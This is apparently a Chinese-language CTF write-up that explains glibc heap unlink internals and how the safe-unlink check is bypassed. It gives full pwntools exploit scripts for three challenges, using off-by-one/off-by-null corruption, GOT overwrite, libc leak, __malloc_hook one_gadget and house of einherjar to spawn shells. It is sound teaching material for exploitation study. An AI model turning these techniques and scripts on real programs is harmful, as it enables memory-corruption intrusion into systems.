Unlink的理解(UNCTF2020 Baby_heap, StarCTF Level8-Unlink, StarCTF Level7-Offbynull)

注意
本文最后更新于 2024-02-11,文中内容可能已过时。

我看的 unlink 相关文章很多,但是最通俗易懂的还是 https://xz.aliyun.com/t/5748,这位师傅所写的所有文章都很好而且能够让人明白的理解。

堆块在释放时会有一系列的检查,可以与源码进行对照。在这里,将对一些关键的地方进行说明。为了使说明看起来简洁一些,就不展示源码了。

  1. 释放(free)时首先会检查地址是否对齐,并根据 size 找到下一块的位置,检查其 p 标志位是否置为 1.

  2. 检查释放块的 size 是否符合 fast bin 的大小区间,若是则直接放入 fast bin,并保持下一堆块中的 p 标志位为 1 不变(这样可以避免在前后块释放时进行堆块合并,以方便快速分配小内存),否则进入第 3 步。

  3. 若本堆块 size 域中的 p 标志位为 0(前一堆块处于释放状态),则利用本块的 pre_size 找到前一堆块的开头,将其中 bin 链表中摘除(unlink),并合并这两个块,得到新的释放块。

  4. 根据 size 找到下一堆块,如果是 top chunk,则直接合并到 top chunk 中去,直接返回。否则检查后一堆块是否处于释放阶段(通过检查下一堆块的下一堆块的 p 标志位是否为 0)。将其从 bin 链表中摘除(unlink),并合并这两块,得到新的释放块。

  5. 将上述合并得到的最终堆块放入 unsorted bin 中去。 这里有以下几个值得注意的点:

  6. 合并时无论向前向后都只合并相邻的堆块,不在往更前或者更后继续合并。

  7. 释放检查时,p 标志位很重要,大小属于 fast bin 的堆块在释放时不进行合并,会直接被放进 fast bin 中。在 malloc_consolidate 时会清除 fast bin 中对应的堆块下一块的 p 标志位,方便对其进行合并。 最基本的 unlink 定义如下:

    1
    2
    3
    4
    5
    6
    
    #define unlink(P, BK, FD) {
    FD = P->fd;
    BK = p->bk;
    FD->bk = BK;
    BK->fd = FD;
    }

    上述代码直接进行了如下赋值:

    1
    2
    
    *(fd + 24) = bk
    *(bk + 16) = fd

新式的 unlink 中加入了更多的限制条件,具体参见 unlink 的利用方法。

现在来说说我的理解。

unlink 的目的

当目前要 free 的位置旁边有空闲的块,则考虑 unlink 把将要 free 的块,和相邻空闲的块合并。

unlink 的类型

1.向前合并,也就是上面那块是空闲的,我们要 free 后面那一块 2.向后合并,也就是下面那一块是空闲的,我们要 free 前面那一块。

unlink 的检测

在早期的版本是没有检测的,具体哪个版本我也不知道,但是我知道是早于 libc2.23 的,也就是大部分的比赛都是需要绕过检测的。

更新:libc-2.26 中新增了 unlink 对 chunk_size == next->prev->chunk_size 的检查,以对抗单字节溢出。但是在 Ubuntu16.04 的 libc-2.23 中也打了相应的补丁,所以我们比赛常见的 Ubuntu16.04 版本的 libc2.23 也需要绕过这个限制

检测的内容:

1
2
3
4
5
FD = P->fd
BK = P->bk
//条件
FD->bk == P
BK->fd == P

如果上述条件无法达到则报错,如果是一个没有被破坏的双向链表,则上述的检测内容是显然成立的,但是如果是被我们篡改的链表,也就是早期的版本中,BK 和 FD 直接分别对应加了偏移的要写地址和要修改的内容,那么就会报错了。 现在版本的绕过方法就是,通过程序储存的堆栈指针的那个数组,那个数组的内容中是存在 P 的指针的。 那么我们分别修改

1
2
3
//ptr 是储存 P 指针的地址
FD = ptr - 0x18
BK = ptr - 0x10

就可以成功的绕过检测,然后检测后 unlink 执行以下代码

1
2
FD->bk = BK
BK->fd = FD

前者对应,

1
2
*(ptr - 0x18 + 0x18) = ptr - 0x10
*(ptr - 0x10 + 0x10) = ptr - 0x18

两者覆盖到了同一个位置 ptr,且内容最终覆盖为 ptr - 0x18,这样我们就覆盖了原来拿来存放 P 的指针的位置。 这样我们再对原来的位置进行修改,就等同于可以读写 ptr - 0x18 的位置了,这样我们再次覆盖 ptr 的内容为我们想要修改的地址,这样我们就可以泄露地址并且 getshell。

unlink 的利用

基础结构:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
struct malloc_chunk {
INTERNAL_SIZE_T      prev_size;  /* Size of previous chunk (if free).  */
INTERNAL_SIZE_T      size;       /* Size in bytes, including overhead. */
struct malloc_chunk* fd;         /* double links -- used only if free. */
struct malloc_chunk* bk;


  /* Only used for large blocks: pointer to next larger size.  */
  struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
  struct malloc_chunk* bk_nextsize;

};

由于 size 是按照 0x10 对其的,所以 size 的后三个字节用于其他内容储存,分别对应: NON_MAIN_ARENA 是否属于主线程 0 属于 1 不属于 IS_MAPPED 是否由 mmap 分配 PREV_INUSE 记录前一个 chunk 块是否被分配

执行原理: 当我们要 free 的时候,堆管理器通过检测

  1. 向前合并:当前 size 位中的最低位(PREV_INUSE)
  2. 向后合并:下下个 heap 的 size 位中的最低位(PREV_INUSE) 来判定前一个 chunk 块是否被分配。 如果没被分配,会通过 prev_size 的内容,然后计算出前(后)一个块的指针,从而访问他们对应的 FD 和 BK,并且对前(后)一个块进行 unlink 操作。

总结:

  1. 检测是否可以向前或者向后合并
  2. 通过 prev_size 计算出空闲的块的指针
  3. 并加上空闲的块的 size,如果与 top_chunk 相邻,那还要和 top_chunk 合并
  4. 对空闲的块进行 unlink

利用方式简单描述:

  1. 修改 prev_size
  2. 修改 PREV_INUSE
  3. free -> unlink

利用方式具体描述: 我认为向前合并更容易利用一些,如果要向后合并则需要控制下下块的 PREV_INUSE。 所以我这里具体的讲向前合并的方法

  1. add(0x88) #记为 a
  2. add(0x88) #记为 b
  3. FD = ptr - 0x18, BK = ptr - 0x10
  4. 修改 a 的内容,p64(0) + p64(0x88 - 0x10) + p64(FD) + p64(BK), 这个 size 应该是 size - 0x10,但是如果这里填写 p64(0),也不会报错(原因不明) 前者的原因是在 pool 数组里面存储的对应的 ptr 正好是和实际的指针相差 0x10(从数据段开始,FD 的位置),这相差的字节就是我们可以用于欺骗的点,我们欺骗系统 size 为 size - 0x10,并且对应的数据结构也从不可控制的位置转移到了可控制的位置(在原来的 FD 写入 prev_size,原来的 BK 写入 size)
  5. 修改 b 的 prev_size,p64(0x80)。系统根据此来确定前一个 chunk 的指针,也就是如果我们从真实的长度,0x90 变成 0x80,对应的指针也往后了 0x10。(这一步通常和上面的步骤一起写入,因为这一块虽是 b 的结构内容,但事实上在 a 没被 free 的时候是没有意义的,为了节省空间,这一块也就成为了 a 的内容,可以被 a 所控制)
  6. 修改 b 的 PREV_INUSE,修改为 0,如果有 off by one 或者堆溢出,则这一步也是和上面的一起
  7. free(b) -> unlink(a) -> *ptr = ptr - 0x18

题目解析

UNCTF2020 baby_heap:

baby_heap 这道题目就是可以用 unlink 来做,这道题有 off by one 的漏洞,可以覆盖到下一个位的内容,所以我们可以利用这个多一位的内容,修改到 b 的 PREV_INUSE,如果是 off by null,那么可以创建(0xF8 = 0x100 - 0x8)的 size,使得 00 正好可以覆盖掉原来的 01,使得(01 10) -> (00 10),也达到了控制 PREV_INUSE 的目的。 其他条件都是正常功能可以达到的。不过值得一提的是,这道题 fastbin attack 是不可以的,因为题目通过 mallopt(1, 0);把 fastbin 关掉了; 其次因为没有 show 的功能(未实现),所以这道题拿不到 libc 的地址,但是这道题有后门函数,所以我们可以直接利用后门函数 getshell。

解析总结: 1.heap overflow + any size(unsorted bin) => unlink 2.off by one + any size(unsorted bin) => unlink 3.off by null + size:0xF8 => unlink

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# -*- coding: utf-8 -*-
from pwn import *
r = process('./pwn')
#r = remote('node2.hackingfor.fun', 36705)
elf = ELF('./pwn')
context.log_level = "debug"
def add_note(size):
    r.sendlineafter(">> ", "1")
    r.sendlineafter("size?", str(size))
    r.sendlineafter("content?", "a")

def delete_note(idx):
    r.sendlineafter(">> ", "2")
    r.sendlineafter("index ?", str(idx))

def change_note(idx, content):
    r.sendlineafter(">> ", "4")
    r.sendlineafter("index ?", str(idx))
    r.sendafter("what is your new content ?", content)

ptr = 0x0000000000602160
shell = 0x000000000040097F
FD = ptr - 0x18
BK = ptr - 0x10
add_note(0x88) #91
add_note(0x88) #91
#gdb.attach(r)
change_note(0, p64(0) + p64(0x81) + p64(FD) + p64(BK) + 'a' * (0x88 - 0x20 - 0x8) + p64(0x80) + '\x90')
delete_note(1)
change_note(0, p64(0) * 3 + p64(elf.got['free']))
change_note(0, p64(shell))
delete_note(0)
r.interactive()

这道题目和上面一道题目的区别在于,这一道题目是 off by null,而且这一道题还没有 shell 函数,这意味着难度大大的增加。也更加像一个正常的程序了,相比上一道题目给出的莫名奇妙的 +1,这道题目 off by null 显得更加自然。这一道题目也没有 show 相关的函数,所有我们需要 leak libc。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int v3; // eax
  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  while ( 1 )
  {
	while ( 1 )
	{
	  while ( 1 )
	  {
		menu();
		v3 = read_int();
		if ( v3 != 2 )
		  break;
		edit_note();
	  }
	  if ( v3 > 2 )
		break;
	  if ( v3 != 1 )
		goto LABEL_13;
	  add_note();
	}
	if ( v3 != 3 )
	{
	  if ( v3 == 4 )
		exit(0);
LABEL_13:
	  puts("em?");
	  exit(0);
	}
	delete_note();
  }
}


int edit_note()
{
  unsigned int v1; // [rsp+Ch] [rbp-4h]

  printf("Input your id:");
  v1 = read_int();
  if ( v1 > 0xF || !ptr[v1] )
	return puts("Are u a hacker?");
  printf("Content:");
  return (unsigned __int64)read_content((__int64)ptr[v1], size[v1]);
}


int add_note()
{
  int result; // eax
  int i; // [rsp+8h] [rbp-8h]
  int v2; // [rsp+Ch] [rbp-4h]

  for ( i = 0; i <= 15 && ptr[i]; ++i )
	;
  if ( i == 16 )
	return puts("Full!");
  printf("Size:");
  v2 = read_int();
  if ( v2 > 512 )
	v2 = 512;
  ptr[i] = malloc(v2);
  result = i;
  size[i] = v2;
  return result;
}


int delete_note()
{
  int result; // eax
  unsigned int v1; // [rsp+Ch] [rbp-4h]

  printf("Input your id:");
  v1 = read_int();
  if ( v1 > 0xF )
	return puts("Are u a hacker?");
  free(ptr[v1]);
  ptr[v1] = 0LL;
  result = v1;
  size[v1] = 0;
  return result;
}

漏洞就出现在 edit_note 中的 read_content 函数中

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
_BYTE *__fastcall read_content(__int64 ptr, int len)
{
int v2; // eax
_BYTE *result; // rax
char buf; // [rsp+13h] [rbp-Dh]
int v5; // [rsp+14h] [rbp-Ch]
unsigned __int64 v6; // [rsp+18h] [rbp-8h]
  v6 = __readfsqword(0x28u);
  v5 = 0;
  while ( v5 < len )
  {
	read(0, &buf, 1uLL);
	if ( buf == '\n' )
	  break;
	v2 = v5++;
	*(_BYTE *)(ptr + v2) = buf;
  }
  result = (_BYTE *)(v5 + ptr);
  *result = 0;                                  // off by null
  return result;
}

函数读取到\n 截止,但是最后在末尾赋值了一个 00。于是我们就可以利用这个进行 unlink,达到任意写的目的,但是目前没有 show 函数也无法 leak libc,所以只能手动创造 show 的机会,就可以把 free 函数改成 puts 函数,然后执行 free 函数的时候就等价执行了,put 输出了对应的内容。我这里采用的方法就是输出了 got 表中 puts 的位置。达到 leak 的目的,题目中给出了 libc 的数据,但是我们这里可以用搜索特征的方式直接利用。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
# -*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import *
r = process('./level8-unlink')
elf = ELF('./level8-unlink')
#r = remote('pwn.sixstars.team', 22508)
context.log_level = "debug"
def add_note(size):
r.sendlineafter(">> ", "1")
r.sendlineafter("Size:", str(size))

def edit_note(idx, content):
	r.sendlineafter(">> ", "2")
	r.sendlineafter("Input your id:", str(idx))
	r.sendafter("Content:", content)

def delete_note(idx):
	r.sendlineafter(">> ", "3")
	r.sendlineafter("Input your id:", str(idx))

add_note(0x88)
add_note(0xF8)
ptr = 0x6020C0
FD = ptr - 0x18
BK = ptr - 0x10
edit_note(0, p64(0) + p64(0x81) + p64(FD) + p64(BK) + 'a' * (0x88 - 0x20 - 0x8) + p64(0x80))
delete_note(1)
edit_note(0, p64(0) * 3 + p64(elf.got['free']) + p64(elf.got['puts']) + '\n')
edit_note(0, p64(elf.plt['puts'])[:-1] + '\n')
delete_note(1)
puts_addr = u64(r.recv(6).ljust(8,'\x00'))
print "puts_addr:" + hex(puts_addr)
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
print "libc_base:" + hex(libc_base)
system_addr = libc.dump('system') + libc_base
edit_note(0, p64(system_addr)[:-1] + '\n')
add_note(0x88)
#gdb.attach(r)
edit_note(1, '$0' + '\n')
delete_note(1)
r.interactive()

这里需要注意的是:

  1. 写入的 00 在 got 表中容易把其他位置的数据搞坏,但是我们知道 libc 地址中实际上是有两位 00 的,所以我们可以少写一位 00,并用\n 来补上,当数据写入的时候会把\n 替换成\x00,这样就达到了不破坏其他位置的目的。
  2. $0 <=> sh <=> /bin/sh
  3. 如果 got 表不能改写,那么可以考虑使用__free_hook

*CTF level7-offbynull:

这道题目,是开了全保护的,所以不能直接利用 ptr 来 unlink,也不能改写 got 表。 思路是:

  1. 利用 unsorted bin leak 泄露 libc 地址
  2. 夹心饼攻击(house of einherjar),伪造 prev_size,使其向前跨越两个堆块,第一个堆块正常 free,第二堆块不变化,伪造 prev_size,让堆管理器认为 size 包含了两个堆块。当 free 第三个块的时候,会 unlink 第一个块(size 包含了第二个),这时候重新申请,就又得到了第二个堆块的控制权,同时之前申请的第二个堆块也未被使用。 这正是 ctf-wiki 中 Heap-based Off-By-One 中利用思路中的第二条,这里粘贴其中内容方便阅读。

溢出字节为可控制任意字节:通过修改大小造成块结构之间出现重叠,从而泄露其他块数据,或是覆盖其他块数据。也可使用 NULL 字节溢出的方法

溢出字节为 NULL 字节:在 size 为 0x100 的时候,溢出 NULL 字节可以使得 prev_in_use 位被清,这样前块会被认为是 free 块。

  1. 这时可以选择使用 unlink 方法(见 unlink 部分)进行处理。
  2. 另外,这时 prev_size 域就会启用,就可以伪造 prev_size ,从而造成块之间发生重叠。此方法的关键在于 unlink 的时候没有检查按照 prev_size 找到的块的大小与 prev_size 是否一致。

最新版本代码中,已加入针对 2 中后一种方法的 check ,但是在 2.28 前并没有该 check 。

所以我们 libc2.23 是可以利用的 leak 部分代码在 https://blog.wjhwjhn.com/archives/86/ 有详细解释

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
# -*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import *
#r = process('./level7-offbynull')
r = remote('pwn.sixstars.team', 22507)
context.log_level = "debug"
def add_note(size):
r.sendlineafter(">> ", "1")
r.sendlineafter("Size:", str(size))

def show_note(idx):
    r.sendlineafter(">> ", "2")
    r.sendlineafter("Input your id:", str(idx))

def edit_note(idx, content):
    r.sendlineafter(">> ", "3")
    r.sendlineafter("Input your id:", str(idx))
    r.sendafter("Content:", content)

def delete_note(idx):
    r.sendlineafter(">> ", "4")
    r.sendlineafter("Input your id:", str(idx))

#leak
add_note(0x88) #91
add_note(0x88) #91
delete_note(0)
add_note(0x8)
show_note(0)
malloc_hook_addr = u64((r.recvuntil('\n')[-7:-1]).ljust(8, '\x00')) - 0xE8
libc = LibcSearcher('__malloc_hook', malloc_hook_addr)
libc_base = malloc_hook_addr - libc.dump('__malloc_hook')
delete_note(0)
delete_note(1)

add_note(0x88) #0
add_note(0x68) #1
add_note(0xf8) #2
add_note(0x18) #3
delete_note(0)
edit_note(1, 'a' * 0x60 + p64(0x70 + 0x90))
delete_note(2)
#gdb.attach(r)
add_note(0x88)
add_note(0x68) #1 == 2
delete_note(1)
edit_note(2, p64(malloc_hook_addr - 0x23) + '\n')
add_note(0x68) #1
one = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
one_gadget = libc_base + one[2]
add_note(0x68) #4
edit_note(4, 'a' * 0x13 + p64(one_gadget) + '\n')
delete_note(4)
r.interactive()
0%